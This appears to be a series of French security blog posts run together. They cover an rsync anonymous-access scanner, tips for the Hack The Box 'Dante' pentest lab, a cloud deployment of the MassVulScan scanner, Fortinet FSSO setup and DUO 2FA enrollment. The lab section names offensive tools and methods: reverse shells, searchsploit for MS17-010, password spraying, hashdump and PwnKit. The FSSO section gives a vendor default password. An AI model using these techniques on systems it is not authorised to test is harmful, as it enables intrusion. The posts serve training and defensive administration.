J’avais une liste assez longue de serveurs Rsync sous la main et avec Nmap je voulais m’assurer qu’aucun module (~répertoire) n’était accessible « anonymement » (comme lors d’un pentest par exemple).
Mais avec Nmap je ne pouvais uniquement voir les modules ou lancer un bruteforce (test de couples login/mot de passe) mais c’est tout. Je cherchais le moyen d’identifier si on pouvait accéder à ces modules et lire le contenu (lecture seule à minima), à la manière du script NSE smb-enum-shares pour le protocole SMB.
N’ayant pas de solution, j’ai crée ce script Bash qui est capable d’analyser une grande liste de hosts (adresses IP ou noms d’hôtes) en parallèle (réglable) et d’identifier ceux qui utilisent Rsync pour la synchronisation à distance :
Paramètre « p » pour le mode parallèle
Mode séquentiel par défaut
Il permet de parcourir les modules visibles et tente de se connecter sur chacun d’eux de manière anonyme pour identifier ceux qui sont accessibles. Tous les serveurs et modules accessibles sont ensuite enregistrés dans un fichier texte (commande Rsync complète pour validation) :
Un nouvel article sur la plateforme « Hack The Box » que j’affectionne tout particulièrement 🙂
J’ai profité des soldes de Noël dernier pour souscrire à un abonnement « Pro Lab. » et éviter de payer les frais d’installation. Le coût mensuel était 23 euros TTC « uniquement », et seulement deux mois d’abonnement pour compléter le Lab. « Dante« .
Sans prétention, cet article a pour but de guider un peu celles et ceux qui veulent se lancer dans l’aventure ou qui ont déjà commencé. Attention: Il ne s’agit pas d’un guide complet avec chacune des étapes, tous les drapeaux à découvrir, toutes les techniques etc… plutôt quelques conseils, des outils à utiliser, sur ma méthodologie etc…
Choix du Lab. Pro « Dante »
Sur https://app.hackthebox.com/ j’ai pu atteindre modestement le rang « Pro Hacker » avec une soixantaine de machines à mon actif depuis juin 2019. En majorité des VM de niveau « facile » et « intermédiaire »(3/4) sur Linux et Windows + quelques machines difficiles et challenges.
J’avais d’abord pensé à me présenter pour l’examen OSCP pendant un temps. Mais avec sa durée de 24 heures, je ne veux pas me lancer sans une bonne préparation car cela semble assez intense. Et j’aime bien réussir mes examens du premier coup.
Je voulais donc d’abord m’exercer sur un « vrai » Lab. représentatif de ce qui pourrait m’attendre et sans devoir payer trop cher pour cela. Mon but était de le faire en 2 mois à temps perdu, objectif atteint.
En comparant les différents Lab. proposés sur le site et en parcourant les forum, je me suis dit que Dante serait une bonne porte d’entrée. Et surtout un excellent terrain pour pratiquer sans se ruiner et abordable techniquement, je ne me suis pas trompé.
Présentation du Lab.
Dante comporte réellement 13 machines (le pare-feu est hors scope) : 7 VM Linux et 6 VM Windows.
Il est classé comme « intermédiaire » au niveau de la difficulté, j’estime que cela correspond effectivement : connaissance réseautique, diversités des plateformes/systèmes, technologies et outils variées etc…
Jusqu’à quatre tunnels seront nécessaires pour atteindre l’ensemble des machines. Autant vous dire que l’art du « pivot » ou déplacement latéral prend tout son sens ici !
Le Lab. est réinitialisé automatiquement tous les jours vers 07h00 (UTC) du matin.
Un point important : gardez à l’esprit que vous ne serez pas tout seul dans le Lab. Ce qui implique que des « petits malins » peuvent effacer des données ou les modifier (très rare tout de même, une seule fois dans mon cas en deux mois, sur un drapeau). Mais surtout, vous ne serez pas seul à lancer des scans à tout va, ce qui parfois rend instable le Lab. Il faut savoir prendre une pause quand cela n’aboutit pas et se poser les bonnes questions, un tunnel peut être défaillant sur le chemin, ou bien ICMP est bloqué par un pare-feu etc…
Outils utilisés
OS
Au niveau de l’OS j’ai utilisé kali-linux-2023-W03-vmware-amd64 via VMware Workstation 17 Player. Très stable durant toute mon utilisation et déjà bien fourni en termes d’outils. J’ai pu faire 100% du Lab. avec.
Scan / découverte réseau
j’ai utilisé mon propre outil au départ : MassVulScan
Sinon, le classique Nmap fera des merveilles. Pensez à utiliser les scripts pour la recherche de vulnérabilité ou faire de l’énumération d’utilisateurs par exemple :
Une fois l’agent connecté, il faut lister les sessions (session + [ENTER]) depuis Kali, sélectionner celle que l’on veut activer (choisir le numéro ou utiliser les flèches de direction + [ENTER]) et la démarrer (start + [ENTER]). Sans cela, pas de routage possible. Et il sera nécessaire de « switcher » les tunnels pour atteindre les autres réseaux après les premiers pivots (répondre « yes« ).
Comme indiqué lors de la présentation, les connexions ou tunnels ne sont pas toujours stables et parfois ICMP était bloqué. Du coup, j’avais une fenêtre qui était ouverte en permanence vers le host que j’attaquais sur le port concerné, ou vers un agent, avec un check en continue, comme ceci :
Ex. d’un test de port TCP en continue vers un host
Voici le script si cela vous intéresse, je m’en sers d’ailleurs régulièrement, fort utile :
#!/bin/bash
host=$1
port=$2
bold_color="\033[1m"
end_color="\033[0m"
if [ -z $host ] || [ -z $port ]; then
echo -e "${bold_color}Usage: `basename $0` [HOST] [PORT] (only compatible with TCP)${end_color}"
exit 1
fi
while :; do
result=`nc -z -v -w 1 $host $port > /dev/null 2>&1`
if [ $? -gt 0 ]; then
echo -e "`date +'%Y/%m/%d %H:%M:%S'` - port $port is \033[0;31mclosed or down\033[0m for host $host"
sleep 0.5
else
echo -e "`date +'%Y/%m/%d %H:%M:%S'` - port $port is \033[0;32mopen\033[0m for host $host"
sleep 0.5
fi
done
Buffer Overflow (BOF)
L’outil GDB-PEDA était suffisant, par contre j’ai dû l’installer à partir du dépôt GitHub : https://github.com/longld/peda
En effet, je voulais pouvoir travailler confortablement depuis ma VM Kali sans avoir de déconnexions intempestives. Il faut juste arriver à se mettre dans les mêmes conditions que le serveur à attaquer.
Surveillance des processus
Là aussi, un seul outil que je recommande (Linux) : pspy
Sinon, vous avez la base de données exploit-DB et leur outil searchsploit :
searchsploit MS17-010
searchsploit -m 41891
Metasploit
L’incontournable, même si je voulais limiter son utilisation, il m’a été utile plusieurs fois (tester des couples « utilisateurs/mots de passe », obtenir un Shell avec privilèges etc…) : https://www.kali.org/tools/metasploit-framework/
Gardez en tête qu’il est parfois utile de changer de contexte de processus pour aller plus loin.
Dans le cas du Reverse Shell, je vous conseille d’utiliser ce que l’on appelle un « wrapper » associé à Netcat pour plus de confort côté Kali. Par exemple : rlwrap
Deux outils à connaître, de véritables « couteaux suisses« , pour s’attaquer à un serveur Windows : CrackMapExec et Impacket
Que ce soit pour faire de l’énumération (version d’OS un serveur, version SMB, brute-force/password spraying, hashdump etc…) ou tout simplement pour réaliser une attaque (Kerberos, SQL etc…). Tout y est.
Répertoires et fichiers d’un serveur Web
Pour l’énumération ou la recherche de fichiers/répertoires, deux outils suivant ce que l’on cherche : Wfuzz et Feroxbuster
Il n’est pas toujours utilise de chercher à casser des mots de passe avec John ou Hashcat, il a d’autres façons de s’en servir.
Et il est rarement nécessaire de faire du brute-force avec de grosses listes pour trouver un mot de passe, et surtout, ne pas trop forcer (nombre de threads simultanés etc…) au risque de passer à côté.
Pour générer sa propre liste de mots avec CeWL par exemple :
Pour être honnête, je n’ai pu compléter ce Lab. seul qu’à hauteur de 90-95%. Mais les 5-10% restants c’était grâce à la communauté Discord du canal officiel Hack The Box (#prolabs-dante).
PwnKit (CVE-2021-4034)
Une note sur ce CVE : vous verrez cette faille apparaître régulièrement lorsque vous lancerez vos scripts de détection de vulnérabilités. Ne cédez pas à la tentation ! En effet, ce Lab. a été construit en 2020 donc avant sa découverte.
Je vous confirme que cela fonctionne mais testez cette faille une fois le chemin attendu identifié. Même si dans la « vrai vie » un « malotru » ne se gênerait pas et irait au plus efficace, c’est sûr !
Conclusion
Sachez prendre des pauses, je suis parfois resté 2-3 jours bloqués alors que j’avais la réponse sous les yeux. On dit souvent que l’étape d’énumération est l’une des plus importantes, et bien je vous le confirme. Et ne pas aller trop vite, je passais à côté d’un détail qui avait son importance à chaque fois.
Persévérez, faites le maximum avant de céder à la tentation de demander de l’aide. Dans mon cas, je n’ai pas eu le choix pour la partie Buffer Overflow (BOF), c’était une découverte pour moi et je me suis trouvé noyé dans des tas d’articles avant d’avoir les bons.
Pour ce Lab. inutile d’imaginer des attaques complexes. Cela reste un Lab. accessible n’oubliez pas, qui vous permet de tester différents outils, rien d’insurmontable.
Et une dernière chose, n’oubliez pas de tout explorer (codes sources, historique, fichiers cachés etc…), même une fois le serveur compromis durant votre phase d’énumération. Il faut avoir en « tête » une liste type des choses à vérifier systématiquement sur chacune des VM pour ne rien rater.
Voilà, merci pour votre lecture et bon courage ! Et si besoin d’aide, je suis sur Discord ou via ce site.
Déployer et lancer automatiquement le scanner MassVulScan depuis des instances OpenStack du Cloud Public d’OVH.
Introduction
Les entreprises, notamment, devraient s’assurer de ne pas exposer sur l’Internet des ports réseaux de manière indésirable.
Dans ce but, j’ai voulu aller plus loin avec le scanner MassVulScan en permettant d’effectuer un scan depuis n’importe où sur l’Internet sans devoir louer plusieurs serveurs chaque mois et tout réinstaller à chaque fois.
En effet, lorsque l’on utilise continuellement la ou les mêmes adresses IP source pour scanner son réseau on risque de masquer certaines failles de sécurité : certaines autorisations (théoriquement) accordées qu’à celles-ci, utilisation de mécanismes de sécurité comme fail2ban qui les bloqueraient..
Du coup, malgré des scans réguliers, certains ports peuvent rester ouverts longtemps à tout va sans que l’on s’en aperçoive.. je parle par expérience !
J’ai donc cherché et réfléchi à une solution qui répondrait à ce cahier des charges :
Facilité, simplicité et rapidité du déploiement
Lancement automatique d’un scan complet
Faible coût de fonctionnement et ne payer qu’à l’usage
Fournisseur Cloud disposant de plusieurs Data Center répartis sur la planète
Fournisseur Cloud tolérant cette pratique
Solution
Voici le script Bash que j’ai développé qui répond à mes besoins : osic4MVS
osic4MVS a.k.a. OpenStack Instance Creation For MassVulScan
J’ai retenu le fournisseur de Cloud OVH que j’utilise de longue date, meilleur rapport qualité/prix selon moi. La facturation du Cloud Public est claire (à la demande et sans coûts cachés), la tarification est attractive (0.03$ CAD pour mes scans sur BHS3), et leur interface Web est simple et efficace.
Le script Bash va donc s’appuyer sur l’API d’OVH pour déployer en quelques minutes un instance OpenStack sur laquelle sera installée MassVulScan.
Prérequis
Script
Le script Bash ne fonctionne que sur les OS de la famille Debian.
Le serveur à partir duquel sera lancé ce script devra avoir accès à l’Internet, plus précisément :
ICMP Echo Reply (ping)
SSH port TCP 22
Voici la liste des paquets à installer, suivant si vous utilisez Python 2.x ou Python 3.x :
Vous devez bien-sûr posséder un compte OVH et créer votre projet Cloud Public : OVHCloud
Ici mon projet s’appelle tout simplement « SCANS » :
Mon projet « SCANS »
Ensuite il faut créer un utilisateur OpenStack, rendez-vous dans : Public Cloud / Project Management / Users & Roles
Comptes utilisateurs et rôles
Ajoutez un nouvel utilisateur (avec une description) en lui affectant le rôle « Compute Operator » :
Ce rôle est suffisant pour le fonctionnement du script
On ne peut pas choisir le nom d’utilisateur qui est généré aléatoirement sous la forme « user-XXXXXXXXXXXX », tout comme le mot de passe. Voici notre nouvel utilisateur créé pour notre démonstration :
Nouvel utilisateur en cours de création – Notez bien le mot de passe
N’oubliez pas de noter le mot de passe ! En cas d’oubli, cliquez sur les trois petits points à droite du compte utilisateur pour accéder aux options et en regénérer un nouveau :
Les options du compte utilisateur
Profitez-en pour télécharger de suite le fichier OpenStack RC qui correspond en fait à vos variables d’environnement, il nous sera utile pour la suite. Lors du téléchargement on vous demandera sur quelle région ( = quel Data Center et pays) ce fichier s’appliquera, j’ai choisi ici l’Amérique du nord et leur centre Canadien BHS3 :
Sélectionner une région ou plutôt un centre de données attaché au fichier OpenStack
Rendez-vous sur l’interface Web Horizon pour gérer votre instance OpenStack : Public Cloud / Management Interfaces / Horizon
Choisissez bien votre région, ici BHS3 :
Choisir la région, ici BHS3, Canada
Ensuite, nous allons générer une paire de clés SSH : Project / Compute / Key Pairs
Créez votre paire de clés comme ici, elle se nommera « demo » :
Création d’une paire de clés SSH (privée/publique)
Une fois la création terminée, votre clé SSH privée sera automatiquement téléchargée, comme ici :
Ma clé privée pour la démonstration
C’est terminé, nous avons donc nos quatre éléments importants pour le script Bash :
Un compte utilisateur OpenStack chez OVH Cloud Public
Un fichier OpenStack RC contenant nos variables d’environnement
Ensuite, afin d’automatiser l’utilisation nous allons indiquer le mot de passe directement dans le fichier OpenStack RC. Commentez les lignes 25 à 27 puis ajoutez-en une nouvelle contenant le mot de passe de l’utilisateur OpenStack, comme ceci :
On ajoute le mot de passe de l’utilisateur
Sans cela, il vous sera demandé de saisir le mot de passe plusieurs fois durant le déroulement du script Bash.
Après, déposez votre clé privé et votre fichier OpenStack RC dans un endroit sécurisé et protégez-les comme ici :
chmod 600 openrc.sh
chmod 600 demo.pem
Lecture/écriture pour le propriétaire uniquement, cela peut-être le compte « root », utilisez ensuite « sudo » pour appeler le script Bash par exemple.
Utilisation
On y arrive !!!
Un beau menu vous attend 🙂
Vous aurez besoin de préciser quatre arguments pour pouvoir lancer le script Bash :
Le chemin vers le ou les fichiers contenant les noms d’hôtes et/ou adresses IPv4, format CIDR
Un fichier obligatoire : celui contenant les hosts à scanner
Un fichier optionnel : celui contenant les hosts à exclure
Pour exclure les passerelles de vos opérateurs par exemple
Le chemin vers votre fichier OpenStack RC
Le chemin vers votre clé SSH privée
Le nom de votre clé publique SSH
Le script doit être lancé avec les droits « root » (avec « sudo » ou non), comme ceci :
Après avoir vérifié les arguments passés, le script Bash effectuera les étapes suivantes :
Vérifier l’accessibilité du Cloud Public d’OVH
Vérifier les instances OpenStack existantes
Analyse du ou des fichiers sources (pour ne garder que les entrées valides)
Création de l’instance
Attente de la disponibilité du serveur (ping + SSH)
Déploiement du scanner MassVulScan
Envoi du ou des fichiers hosts
Lancement du scan MassVulScan : Masscan puis Nmap + vulners.nse
Récupération des rapports en local via SCP (si il y a lieu)
Suppression des sessions screen et OpenStack
Screen
Il vous sera possible de suivre l’installation et le scan en live si vous le souhaitez à travers une session screen. Comme ici avec le précédent scan de démonstration :
Session screen pour le suivi ou surveillance
En l’occurrence, vous aurez juste à taper dans un second terminal (droits « root ») :
screen -r scan_2021-07-30_121820
Et pour sortir sans fermer la session, faites au clavier :
CTRL + A et D
Courriels
Pour s’assurer du bon fonctionnement du script et/ou si vous prévoyez de lancer un gros scan de plusieurs heures, vous avez la possibilité de renseigner une ou plusieurs adresses courriels et un serveur SMTP(S).
Vous serez avertis à trois moments différents :
Au démarrage effectif du scan
A la fin du scan vous recevrez les rapports (si il y a lieu)
Une fois la session screen et instance OpenStack supprimées
Il vous suffit pour cela de modifier les variables suivantes dans le script :
smtp_server = serveur SMTP(S) à utiliser
from_address = adresse email d’émission/retour
recipient = liste des destinataires (séparer par une virgule », »)
auth_user_pass = utilisateur et mot de passe encodés dans un URI (si besoin)
Un exemple ci-dessous pour l’encodage dans un URI :
Des exemples ci-dessous de courriels envoyés depuis les serveurs d’OVH :
Exemples de courriels envoyés durant la vie du script
Conclusion
J’utilise régulièrement cet outil (professionnellement) pour m’assurer de ne pas laisser de ports ouverts par inadvertance, surtout lorsque l’on travaille à plusieurs. Il suffit d’une erreur humaine ou d’appliquer une mise à jour pour se retrouver exposer sans le vouloir.
Vous pouvez programmer un lancement hebdomadaire via une tache cron, comme ici toutes les fins de semaine :
Fortinet Single Sign-On (FSSO), anciennement connu sous le nom de FortiGate Server Authentication Extension (FSAE), est le protocole d’authentification par lequel les utilisateurs peuvent s’authentifier de manière transparente auprès des appareils FortiGate (notamment).
Pourquoi utiliser ce mode et cette méthode ?
Après, contrairement au mode FSSO « DC Agent mode », le mode FSSO « Polling » évite l’installation d’un agent sur chacun des contrôleurs de domaine. Cela peut être problématique dans certaines organisations.
Ensuite, la récupération des événements de connexion des utilisateurs via WMI apporte d’autres avantages : plus de fiabilité dans la récupération des événements, une charge réseau réduite entre l’agent collecteur et les contrôleurs de domaine et enfin la possibilité d’utiliser un compte de service avec des droits restreints.
Comme on peut le voir sur le schéma ci-dessous, l’agent collecteur interroge directement les contrôleurs de domaine et le Fortigate récupère régulièrement les mises à jour :
Ce premier article sera consacré à l’installation et la configuration de l’agent FSSO sur un serveur Windows. Un second article permettra de voir son utilisation sur un Fortigate.
Permissions WMI sur les DC
Un des pré-requis pour pouvoir utiliser ce mode est d’appliquer certains droits au compte de service ou utilisateur qui sera utilisé par le service « Fortinet Single Sign On Agent Service ».
Pour cela, lancez la console « Windows Management Instrumentation » (WMI) sur chacun de vos contrôleurs de domaine concerné (wmimgmt.msc) :
Clic-droit sur « Contrôle WMI » puis « Propriétés »
Sélectionnez l’onglet « Sécurité » et étendre « Root »
Sélectionnez « CIMV2 » puis cliquez sur le bouton « Sécurité »
Ajoutez ensuite l’utilisateur / compte de service qui sera utilisé, ici « fsso_agent »
Puis donnez-lui les droits : « Appel à distance autorisé » et « Activer le compte »
Dans la même fenêtre, cliquez-sur « Avancé »
Sélectionnez l’utilisateur / compte de service dans l’onglet « Autorisations »
Cliquez sur « Editer » et appliquez les droits « Cet espace de noms et les sous-espaces de noms »
Enregistrez les changements en cliquant sur « OK »
Redémarrez ensuite le service WMI (services.msc) qui porte le nom « Windows Management Instrumentation », clic-droit puis « Redémarrer » :
Ouverture de flux réseaux à prévoir
Une matrice des flux sera faite plus tard, en attendant vous pouvez voir cet article de chez Fortinet :
Installation et configuration de l’agent collecteur
Pré-requis pour l’installation et fonctionnement
Rendez-vous sur le site de Fortinet pour télécharger la version la plus récente de l’agent collecteur en fonction de votre version la plus récente du FortiOS installé (OS Fortigate). Par Ex. ici la version correspondante, ici 5.0.0276 (version 64 bits) compatible avec les Fortigate FortiOS 6.0.5 (même démarche pour les versions 6.2.x ou 6.4.x) :
A noter que la version de l’agent collecteur reste (rétro) compatible avec les anciennes versions de FortiOS (5.6, 5.4 etc…). Pensez à vérifier que le fichier téléchargé n’est pas corrompu en comparant les checksum :
Astuce : J’utilise l’extension http://code.kliu.org/hashcheck/ qui est bien pratique au quotidien pour cela. Sinon en PowerShell :
Assurez-vous ensuite que votre serveur collecteur accepte les connexions entrantes sur le port TCP 8000, dans le cas contraire, ajoutez une règle de filtrage sur le firewall local et/ou sur tout autre firewall qui serait entre le Fortigate (source) et l’agent collecteur (destination).
Il vous faudra bien-sûr un serveur Windows, j’ai choisi la version 2016 dans ce cas-ci (ne faites pas attention aux captures d’écran + haut prises sur 2008/2012, c’est le même principe quelle que soit la version de l’OS).
Dernier point, vous devez bien-sûr disposer des droits d’administrateur pour l’installation de l’agent collecteur.
Installation
Lancez l’exécutable et cliquez sur « Next »
Acceptez les conditions d’utilisation puis cliquez sur « Next » deux fois (on garde le répertoire par défaut « C:\Program Files (x86)\Fortinet\FSAE\ »
Saisissez ensuite correctement l’utilisateur / compte de service qui lancera le service, ici « fsso_agent » :
Cliquez sur « Next »
Cochez les deux options et sélectionnez la méthode « Advanced » :
Contrairement au mode « Standard », ce mode permet d’utiliser directement les comptes utilisateurs AD au niveau des règles de filtrage du Fortigate, pas seulement les groupes donc. Cela apporte plus de souplesse et de finesse.
Il permet en outre d’appliquer une règle de filtrage sur une OU ou un groupe AD contenant des groupes imbriqués, cela ne se limite plus au groupe. Ce qui est impossible dans le mode « Standard ».
Enfin, on aura la possibilité de « pousser » les groupes que l’on souhaite filtrer/utiliser depuis le Fortigate vers l’agent collecteur.
Procédez à l’installation en cliquant sur « Install » et patientez
Enfin, décochez la case « Launch DC Agent Install Wizard » et cliquez sur « Finish » :
Nous voyons qu’un nouveau service a été créé :
Droits sur le répertoire d’installation
Nous devons maintenant attribuer les droits en lecture / écriture à notre utilisateur / compte de service afin, notamment, qu’il puisse écrire ses fichiers de logs.
Ouvrez l’explorateur de fichiers et faites un clic-droit sur le répertoire « C:\Program Files (x86)\Fortinet\FSAE », choisir « Propriétés »
Dans l’onglet « Sécurité », cliquez sur « Modifier » puis « Ajouter » afin d’ajouter l’utilisateur / compte de service
Attribuez-lui les droits « Contrôle total » en cliquant sur « Autoriser »
Puis « Appliquer » et « OK » deux fois :
Redémarrez ensuite le service « Fortinet Single Sign On Agent Service » pour que les changements soient pris en compte :
Une nouveau fichier de log fera son apparition :
Groupes AD et droits dans la base de registre
L’utilisateur / compte de service doit faire partie du groupe AD « Event Log Readers » :
Ensuite, ce dernier doit avoir les pleins droits sur les clés et sous-clés de registre de l’agent collecteur. Pour cela, lancer l’utilitaire « regedit.exe » et modifier celles-ci, choisir le chemin correspondant à votre système :
Vous devez ensuite donnez le contrôle d’accès total à l’utilisateur / compte de service via :
Clic-droit sur le répertoire « collectoragent » puis choisir « Autorisations »
Ajouter le utilisateur / compte de service via le bouton « Ajouter »
Le sélectionner et cocher « Autoriser » devant « Contrôle total »
Enregistrez les changements en cliquant sur « OK »
Redémarrer le serveur collecteur pour prendre en compte les changements
Configurer l’agent collecteur
Lancez l’agent collecteur « FSAEConfig.exe » et cliquez sur « Run as administrator » pour accéder à toutes les fonctions :
En premier lieu, définissez un nouveau mot de passe qui sera utilisé par le ou les Fortigate. Pour cela, supprimez le contenu du champ « Password », insérer votre mot de passe et cliquez sur « Apply ». Pour chaque changement enregistré, une petite fenêtre s’ouvrira :
Note : en cas de problème lors de vos premiers tests, sachez que le mot de passe par défaut est « fortinetcanada ».
Ensuite, il est préférable d’avoir un fichier log pour les événements (connexions/déconnexions/mises à jours) utilisateurs, c’est plus facile pour le débogage. Pour cela, cliquez sur « Log logon events in separate logs » et cliquez sur « Apply » :
Aussitôt, un nouveau fichier de log sera créé dans le répertoire FSAE contenant toutes les logs :
Il vous suffira ensuite de cliquer sur « View Logon Events » pour ouvrir ce fichier et le visualiser.
Configurer les Event ID à récupérer
Nous devons indiquer à l’agent collecteur tous les Event ID que nous voulons « sonder » car par défaut, il ne prend pas en charge toutes les versions d’OS Windows, il en filtre pas mal.
Cliquez sur « Advanced Settings et dans le champ « Event IDs to poll » (section « Windows Security Event Logs ») indiquez cette liste :
672;673;680;528;540;4768;4769;4776;4624;4770
Ainsi, toutes les versions de Windows depuis 2003 jusqu’à 2016 fonctionneront (je n’ai pas testé avec 2019) :
Assurez d’avoir également la case « Use WMI to check user logoff » de cochée dans la section « Workstation Check ». L’agent collecteur interrogera régulièrement les PC afin de vérifier si l’utilisateur est toujours connecté ou non (un batch sera lancé toutes les 5 minutes, comme indiqué sur l’écran principal).
Sélectionner les DC à « monitorer »
Cliquez sur « Show Monitored DCs »
Puis sur « Select DC to Monitor »
Cochez la case « Polling Mode »
Puis la case « Check Windows Security Event Logs using WMI » (c’est là que l’on active concrètement le mode WMI)
Enfin, sélectionnez les DC que vous souhaitez interroger puis « OK »
Si tout fonctionne correctement, vous devriez de suite pouvoir visualiser et récupérer les premières connexions utilisateurs en cliquant sur « Show Logon Users » :
Dans le cas contraire, vérifiez à nouveau les permissions WMI sur les DC, les droits de l’utilisateur / compte de service et groupe AD.
Configurer les informations d’accès au répertoire
Nous allons configurer le mode « Advanced » pour l’accès au données qui permet plus de choses comme indiqué un peu plus haut lors de la phase d’installation.
A noter que dans ce mode, le nom des groupes sera au format LDAP (cn=group,ou=name,dc=domaine) et non Microsoft (domaine/groupe).
Cliquez sur « Set Directory Access Information »
Sélectionnez « Advanced » (doit l’être par défaut)
Puis cliquez sur « Advanced Setting… »
Cochez « Use secure connection (TLS) »
Puis renseignez l’un de vos DC en laissant les champs « User name » et « Password » vident puis « OK »
Assurez que les flux sont bien ouverts au passage entre l’agent collecteur et vos contrôleurs de domaine sur le port TCP 3269.
Configurer le(s) domaine(s) à sonder
Sélectionner maintenant le ou les domaines que vous voulez « monitorer ».
Cliquez sur « Select Domains To Monitor »
Puis cochez les domaines à sonder
Pour chacun des domaines, cliquez sur « Setting… »
Cochez « Use secure connection (TLS) »
Là renseignez à nouveau l’un de vos DC en laissant les champs « User name » et « Password » vident puis « OK » et « OK »
Là aussi, assurez que les flux sont bien ouverts au passage entre l’agent collecteur et vos contrôleurs de domaine sur le port TCP 636
Filtrage des groupes
Nous avons deux possibilités pour la configuration des groupes FSSO (basés sur ceux de l’AD) :
Soit depuis ce serveur directement pour les pousser ensuite vers le Fortigate
Soit les créer directement sur le Fortigate pour qu’ils soient visibles sur le serveur
J’utilise la seconde méthode, que nous verrons dans le prochain article.
Une fois les groupes configurés vous verrez ce message sur le serveur dans « Set Group Filters » :
Compte(s) utilisateur/de service à ignorer
Une dernière option permet d’exclure une liste de comptes à ne pas surveiller, comme par exemple notre compte de service « fsso_agent ».
Il suffit de cliquer sur « Set Ignore User List » puis d’ajouter les comptes, comme ici avec notre compte de service :
Une fois terminé, ne pas oublier d’appliquer les changements (Apply) et/ou de sauvegarder (Save&close).
Conclusion
Nous avons vu dans cette première partie comment configurer notre serveur avec notre agent FSSO afin de récupérer les activités des utilisateurs (logon/logoff) sur notre DC de manière fiable.
Dans un prochain article nous verrons comment configurer notre Fortigate :
Pour se connecter à ce serveur afin de récupérer ses données
La création des groupes FSSO (et/ou utilisateurs)
L’utilisation de ces groupes dans nos règles de filtrage
Je voulais finalement terminer cette série d’articles en évoquant la phase d’enrôlement avec les différentes méthodes et quelques petites astuces.
Commençons succinctement par le côté « administrateur » de DUO puis nous enchaînerons sur les étapes d’enrôlement.
Administration DUO
Envoyer l’email pour l’enregistrement
Une fois le nouvel usager crée chez DUO, l’administrateur va devoir envoyer un courriel à ce dernier (prérequis) afin qu’il puisse enregistrer son équipement « 2FA ». Il suffit de cliquer sur le lien en haut à droite « Send Enrollment Email » :
Le destinatairedevra éventuellement s’assurer que rien n’est dans ces emails indésirables.
Exemple d’email que va recevoir la personne avec un lien (flouté ici) :
Les groupes
Je vous invite à utiliser les groupes également, surtout si vous avez ou comptez l’utiliser pour un grand nombres d’utilisateurs de votre compagnie ou consultants externes.
En effet, cela vous permettra d’identifier rapidement les usagers d’une même entreprise voire d’une même équipe. Et surtout, vous serez en mesure de désactiver l’accès d’un coup à un groupe d’usagers en cas d’incident de sécurité par exemple, sans bloquer tout le monde.
L’enrôlement
Application DUO
L’usager sera guidé durant ce processus. une fois qu’il aura cliqué sur le lien contenu dans le courriel, voici les différentes étapes :
Début de la configuration
Choisir « Mobile phone » si on veut utiliser l’application DUO et recevoir des notifications « push » :
Choix de l’équipement
A noter que niveau expérience utilisateur, l’utilisation d’une application (DUO App.) est préférable. L’application DUO supporte Android 7.0 et supérieur, iOS 11.0 et supérieur, BlackBerry 10, et enfin BBOS 4.5.0 et supérieur.
L’usager doit rentrer un numéro valide
Ensuite l’usager doit choisir le modèle d’appareil pour installer l’application :
Choix du modèle de smartphone
L’utilisateur devra aller chercher l’application dans le magasin de son appareil et l’installer. Une fois cela fait, il devra le confirmer :
Confirmer que l’application est installée
Pour finaliser l’enrôlement de son appareil, il devra scanner le QR code depuis son application (+) :
Scanner le QR code depuis l’application DUO
En dernier lieu il devra confirmer la méthode de son choix pour valider le second facteur :
Méthode de validation du second facteur
Et c’est fini :
Fin du processus d’enrôlement
Sans l’application DUO
Si utilisateur n’est pas en mesure d’utiliser un téléphone intelligent ni même de recevoir des SMS, il pourra toujours choisir l’option autre afin de valider le second facteur par un appel téléphonique :
Option pour recevoir des appels
Choisir l’option d’appel :
Appel cet appareil
Lorsqu’il recevra les appels, il aura juste à appuyer sur n’importe quel touche du clavier pour valider le second facteur.
Téléphone (fixe / de bureau) avec extension
L’administrateur a également la possibilité d’enregistrer un numéro de téléphone qui comporte une extension pour le compte d’un utilisateur (ou il peut le faire lui-même lors de la phase d’enrôlement).
Voici un exemple ci-dessous, sur la fiche de l’utilisateur il faut ajouter un téléphone puis afficher le champ extension :
Afficher le champ « extension »
On rentre les informations et on ajoute le téléphone :
Ajouter le téléphone
Il est important ensuite d’augmenter le délai d’attente lorsque l’extension est composé (sur « 0 » par défaut). Sinon, l’utilisateur risque de ne pas recevoir l’appel et/ou n’aura pas le temps de valider. Et veiller à bien choisir le type « Landline » (par défaut) :
Enregistrer un téléphone qui comporte une extension
Donc si c’est l’utilisateur qui rentre lui-même sa ligne fixe et son extension, l’administrateur devra allonger ce délai d’attente pour lui, non visible lors de la phase d’enrôlement.
Autres possibilités de validation du 2FA
Une fois que l’utilisateur a enrôlé son appareil et choisi son mode de validation, ce dernier aura la possibilité d’en utiliser d’autres dans le champ « Mot de passe / Password ».
Par exemple, il pourra demander à être appelé au lieu de recevoir une notification « push » si cette dernière ne fonctionne plus. Il suffit pour cela d’ajouter le mot « ,phone » après le mot de passe, comme ceci :
Choisir un autre mode de validation
De la même manière, il pourra demander à recevoir une notification « push », en ajoutant cette fois le mot « ,push » après le mot de passe :
Recevoir une notification
Conclusion
Voilà, c’est terminé, j’espère avoir pu éclairer certaines personnes sur le sujet. Pour ma part, globalement, DUO est plutôt pratique, que ce soit côté administrateur ou utilisateur.
La mise en place du serveur Proxy DUO n’était pas trop compliqué et c’est fiable au quotidien. La maintenance n’est pas difficile, par contre, toujours s’assurer d’avoir deux serveurs en redondance.
N’hésitez pas à posez vos questions en commentaires si besoin, je me ferai un plaisir de vous répondre.
Pour finir nous devons créer une nouvelle méthode d’authentification. Il faut pour cela se rendre au niveau « Global », à savoir (GUI) :
Global/System/Administrators
Il suffit de créer un nouvel « administrateur » et de remplir à minima les champs suivants en jaune :
Création d’une méthode d’authentification basée sur 2FA
Il est important de bien choisir le type comme indiqué pour permettre à plusieurs administrateurs de se connecter et le groupe local que l’on a créé pour utiliser la double authentification. Et bien-sûr le profil ou rôle adéquate (comme Sheila !).
Timeout (important)
Il reste un dernier changement important à fairepour laisser le temps à l’administrateur de valider ou non la demande de connexionlors de la deuxième authentification (si accès frauduleux ou erreur).
En effet, par défaut, le Fortigate n’attendra que 5 secondes. Ce qui est problématique car cela ne laisse pas assez de temps à l’usager de sortir son smartphone par exemple ou de recevoir l’appel téléphonique pour agir (voir les méthodes DUO offertes dans le dernier article de la série 4/4).
Nous allons donc devoir augmenter ce temps d’attente à 60 secondes, ce qui est largement suffisant.
Il faut pour cela se rendre en ligne de commande dans la configuration globale, comme ici dans la démo, cliquer sur le signe « >_ » :
On augmente le délai d’attente à 60 secondes
Il est maintenant temps de tester la connexion.
Test de connexion
